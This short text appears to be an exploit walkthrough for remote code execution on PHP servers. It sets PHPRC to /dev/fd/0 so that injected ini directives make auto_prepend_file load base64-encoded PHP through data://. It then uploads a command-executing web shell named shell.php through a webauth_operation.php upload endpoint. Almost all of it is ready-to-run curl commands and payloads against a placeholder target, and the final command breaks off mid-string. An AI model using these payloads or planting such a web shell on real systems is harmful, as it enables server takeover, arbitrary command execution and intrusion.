Utilizing any protocol wrapper in conjunction with auto_prepend_file is feasible. The most suitable choice for this operation is the data:// protocol, which allows inline provision of the "secondary file". Here's a sophisticated representation of this exploit, executing the embedded <? phpinfo(); ?> within the data:// scheme:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Execute whoami command
<?php shell_exec('whoami'); ?>
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
Upload a file
<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
